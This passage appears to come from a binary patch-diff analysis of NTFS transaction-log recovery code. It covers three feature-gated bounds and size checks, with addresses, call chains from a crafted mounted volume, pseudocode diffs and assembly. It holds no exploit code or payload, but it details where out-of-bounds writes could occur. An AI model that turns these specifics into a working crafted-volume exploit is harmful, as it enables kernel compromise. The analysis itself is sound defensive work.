&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unmatched (patched)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; In the NTFS transaction-log (&lt;code&gt;$LogFile&lt;/code&gt;) restart/recovery path, three validation checks — a copy-loop index bounds check, a restart-table size-consistency check, and an integer-overflow-guarded size check before a restart-table &lt;code&gt;memmove&lt;/code&gt; — were gated behind a runtime feature-staging flag (&lt;code&gt;g_Feature_2076398905_59354624&lt;/code&gt;, evaluated through &lt;code&gt;EvaluateCurrentState&lt;/code&gt;/&lt;code&gt;EvaluateFeature&lt;/code&gt;). The patch removes that feature gate in all three functions, so the checks now execute unconditionally. This is a real, correct-direction hardening of NTFS log-recovery parsing of on-disk restart-table structures. It is delivered by completing a staged rollout of these checks, not by adding a new mechanism; the runtime default state of the feature in the unpatched build cannot be determined from the binaries, so a reachable overflow in the shipped default configuration is not demonstrated here.&lt;/p&gt;
&lt;p&gt;The gate is a WIL feature-staging flag, not a checked-build (&lt;code&gt;#if DBG&lt;/code&gt;) assertion: &lt;code&gt;EvaluateCurrentState&lt;/code&gt; is present and executed on retail builds. Fourteen additional functions differ only in WPP software-tracing metadata (trace line-number immediates and the per-build trace-GUID control-block symbol) and carry no logic change.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Medium: Feature-gated out-of-bounds write bounds check in &lt;code&gt;PageUpdateAnalysis&lt;/code&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CWE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-787 (Out-of-bounds Write)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PageUpdateAnalysis&lt;/code&gt; (unpatched &lt;code&gt;0x1C0205DC4&lt;/code&gt;, patched &lt;code&gt;0x1C0205D04&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Entry point&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Crafted NTFS volume (VHD / USB) whose &lt;code&gt;$LogFile&lt;/code&gt; restart area is parsed during volume mount / log recovery&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; The function copies extent entries from a source restart-table record (&lt;code&gt;r15&lt;/code&gt;, loaded from &lt;code&gt;[rsi+0x48]&lt;/code&gt;) into a destination restart-table entry (&lt;code&gt;rdi&lt;/code&gt;) allocated by &lt;code&gt;NtfsAllocateRestartTableIndex&lt;/code&gt;. The destination write index is computed as &lt;code&gt;ecx = [r15+0x18] − [rdi+0x10] + loop_counter&lt;/code&gt;, where &lt;code&gt;[r15+0x18]&lt;/code&gt; is a VCN-style field taken from the on-disk log record. A bounds check &lt;code&gt;cmp ecx, [rdi+0xc]&lt;/code&gt; / &lt;code&gt;jnb&lt;/code&gt; (index vs. the destination capacity at &lt;code&gt;+0x0c&lt;/code&gt;) exists in both builds, but in the unpatched build it is reached only when &lt;code&gt;EvaluateCurrentState(&amp;amp;g_Feature_2076398905_59354624)&lt;/code&gt; returns non-zero: the &lt;code&gt;test eax,eax&lt;/code&gt; / &lt;code&gt;jz&lt;/code&gt; at &lt;code&gt;0x1C020606F&lt;/code&gt;–&lt;code&gt;0x1C0206071&lt;/code&gt; skips the &lt;code&gt;cmp&lt;/code&gt;/&lt;code&gt;jnb&lt;/code&gt; when the feature evaluates to zero, and the 8-byte write at &lt;code&gt;0x1C0206083&lt;/code&gt; then proceeds with an unchecked index. The patch removes the &lt;code&gt;EvaluateCurrentState&lt;/code&gt; call, the &lt;code&gt;test&lt;/code&gt;, and the &lt;code&gt;jz&lt;/code&gt;, so the bounds check always guards the write.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Mount a crafted NTFS volume (VHD / USB); NTFS performs &lt;code&gt;$LogFile&lt;/code&gt; restart/recovery.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NtfsRestartVolume&lt;/code&gt; (&lt;code&gt;0x1C016D7C0&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AnalysisPass&lt;/code&gt; (&lt;code&gt;0x1C0200EFC&lt;/code&gt;) — restart analysis pass over the restart tables.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PageUpdateAnalysis&lt;/code&gt; (&lt;code&gt;0x1C0205DC4&lt;/code&gt;) — restart-table entry copy at &lt;code&gt;0x1C02012A3&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;8-byte write at &lt;code&gt;0x1C0206083&lt;/code&gt;: &lt;code&gt;mov [rdi+rcx*8+0x20], rax&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 2 — Low: Feature-gated restart-table size-consistency check in &lt;code&gt;ReadRestartTable&lt;/code&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CWE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-20 (Improper Input Validation)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ReadRestartTable&lt;/code&gt; (unpatched &lt;code&gt;0x1C020634C&lt;/code&gt;, patched &lt;code&gt;0x1C0206294&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Entry point&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Crafted NTFS volume whose &lt;code&gt;$LogFile&lt;/code&gt; restart record has inconsistent size / entry-count fields&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; The function computes an expected restart-table size &lt;code&gt;edi = (entry_count &amp;lt;&amp;lt; 3) + 0x20&lt;/code&gt; (or &lt;code&gt;0x28&lt;/code&gt; when &lt;code&gt;entry_count &amp;lt;= 1&lt;/code&gt;) from &lt;code&gt;[r15+0x0e]&lt;/code&gt; and compares it to the declared size &lt;code&gt;[r15+0x04]&lt;/code&gt;. In the unpatched build the comparison &lt;code&gt;cmp edi, [r15+4]&lt;/code&gt; / &lt;code&gt;jnz&lt;/code&gt; is gated behind &lt;code&gt;EvaluateCurrentState(&amp;amp;g_Feature_2076398905_59354624)&lt;/code&gt; (the &lt;code&gt;test eax,eax&lt;/code&gt; / &lt;code&gt;jz&lt;/code&gt; at &lt;code&gt;0x1C0206401&lt;/code&gt;–&lt;code&gt;0x1C0206403&lt;/code&gt;). When the feature evaluates to zero the mismatch is not raised as corruption, and the function proceeds to call the validator &lt;code&gt;NtfsCheckRestartTable&lt;/code&gt; (&lt;code&gt;0x1C01BC394&lt;/code&gt;) with a length of &lt;code&gt;[rsi+0x40] − declared_size&lt;/code&gt;. The patch makes the size-consistency comparison unconditional. &lt;code&gt;NtfsCheckRestartTable&lt;/code&gt; is a restart-table validation routine, not a memory-copy primitive; the effect of a bypassed check here is a mis-validated restart table rather than a demonstrated out-of-bounds copy.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Mount a crafted NTFS volume; &lt;code&gt;$LogFile&lt;/code&gt; restart/recovery.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NtfsRestartVolume&lt;/code&gt; (&lt;code&gt;0x1C016D7C0&lt;/code&gt;) → &lt;code&gt;InitializeRestartState&lt;/code&gt; (&lt;code&gt;0x1C016DA08&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ReadRestartTable&lt;/code&gt; (&lt;code&gt;0x1C020634C&lt;/code&gt;) at &lt;code&gt;0x1C016DEF8&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NtfsCheckRestartTable&lt;/code&gt; (&lt;code&gt;0x1C01BC394&lt;/code&gt;) called with a length derived from the declared size.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h3&gt;Finding 3 — Medium: Feature-gated integer-overflow-guarded size check before restart-table &lt;code&gt;memmove&lt;/code&gt; in &lt;code&gt;InitializeRestartState&lt;/code&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Severity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CWE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CWE-190 (Integer Overflow) leading to CWE-787 (Out-of-bounds Write)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Function&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;InitializeRestartState&lt;/code&gt; (&lt;code&gt;0x1C016DA08&lt;/code&gt;, same address both builds)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Entry point&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Same crafted-volume &lt;code&gt;$LogFile&lt;/code&gt; restart/recovery surface&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt; This is the top-level restart-state setup function that calls &lt;code&gt;ReadRestartTable&lt;/code&gt; and copies restart-table entries with &lt;code&gt;memmove&lt;/code&gt;. It contains three &lt;code&gt;EvaluateCurrentState(&amp;amp;g_Feature_2076398905_59354624)&lt;/code&gt; gates (at &lt;code&gt;0x1C016DF20&lt;/code&gt;, &lt;code&gt;0x1C016E01B&lt;/code&gt;, &lt;code&gt;0x1C016E11D&lt;/code&gt;). At the copy site around &lt;code&gt;0x1C016E01B&lt;/code&gt;, when the feature evaluates to non-zero the size for the copy is computed with &lt;code&gt;RtlULongMult((count−1), 8)&lt;/code&gt; (an overflow-checked multiply) before the bound compare and the &lt;code&gt;memmove&lt;/code&gt; at &lt;code&gt;0x1C016E099&lt;/code&gt;; when the feature evaluates to zero the size is computed with a plain &lt;code&gt;shl rcx, 3&lt;/code&gt; that performs no overflow detection before the same compare. The patch removes all three gates, so the overflow-checked computation and the associated size checks run unconditionally.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;PageUpdateAnalysis&lt;/code&gt; — copy-loop bounds check&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============ UNPATCHED (0x1C0206051-0x1C0206091) ============&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;entry_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* [r15+0x0e] */&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// feature gate: check reached only when EvaluateCurrentState != 0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;enabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_2076398905_59354624&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;vcn&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="cm"&gt;/* [r15+0x18] */&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;start_vcn&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cm"&gt;/* [rdi+0x10] */&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;enabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* [rdi+0x0c] */&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;NtfsRaiseStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STATUS_DISK_CORRUPT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// skipped when enabled == 0&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;extents&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;extents&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// 8-byte write, 0x1C0206083&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ============ PATCHED (0x1C0205F9C-0x1C0205FDB) ============&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;entry_count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;vcn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;start_vcn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// unconditional&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;NtfsRaiseStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STATUS_DISK_CORRUPT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;extents&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;extents&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;ReadRestartTable&lt;/code&gt; — size-consistency check&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============ UNPATCHED (0x1C02063D3-0x1C0206428) ============&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;computed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;
&lt;span class="w"&gt;                                   &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry_count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// [r15+0x0e]&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_2076398905_59354624&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;computed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;declared_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* [r15+0x04] */&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NtfsRaiseStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STATUS_DISK_CORRUPT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// skipped on feature == 0&lt;/span&gt;

&lt;span class="n"&gt;NtfsCheckRestartTable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;computed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;declared_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* [rsi+0x40] - [r15+0x04] */&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;

&lt;span class="c1"&gt;// ============ PATCHED (0x1C0206315-0x1C0206355) ============&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;computed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;declared_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// unconditional&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;NtfsRaiseStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STATUS_DISK_CORRUPT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;NtfsCheckRestartTable&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;PageUpdateAnalysis&lt;/code&gt; — Unpatched copy loop (&lt;code&gt;0x1C0205DC4&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206051&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;esi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0206053&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;si&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Eh&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; counter vs entry count&lt;/span&gt;
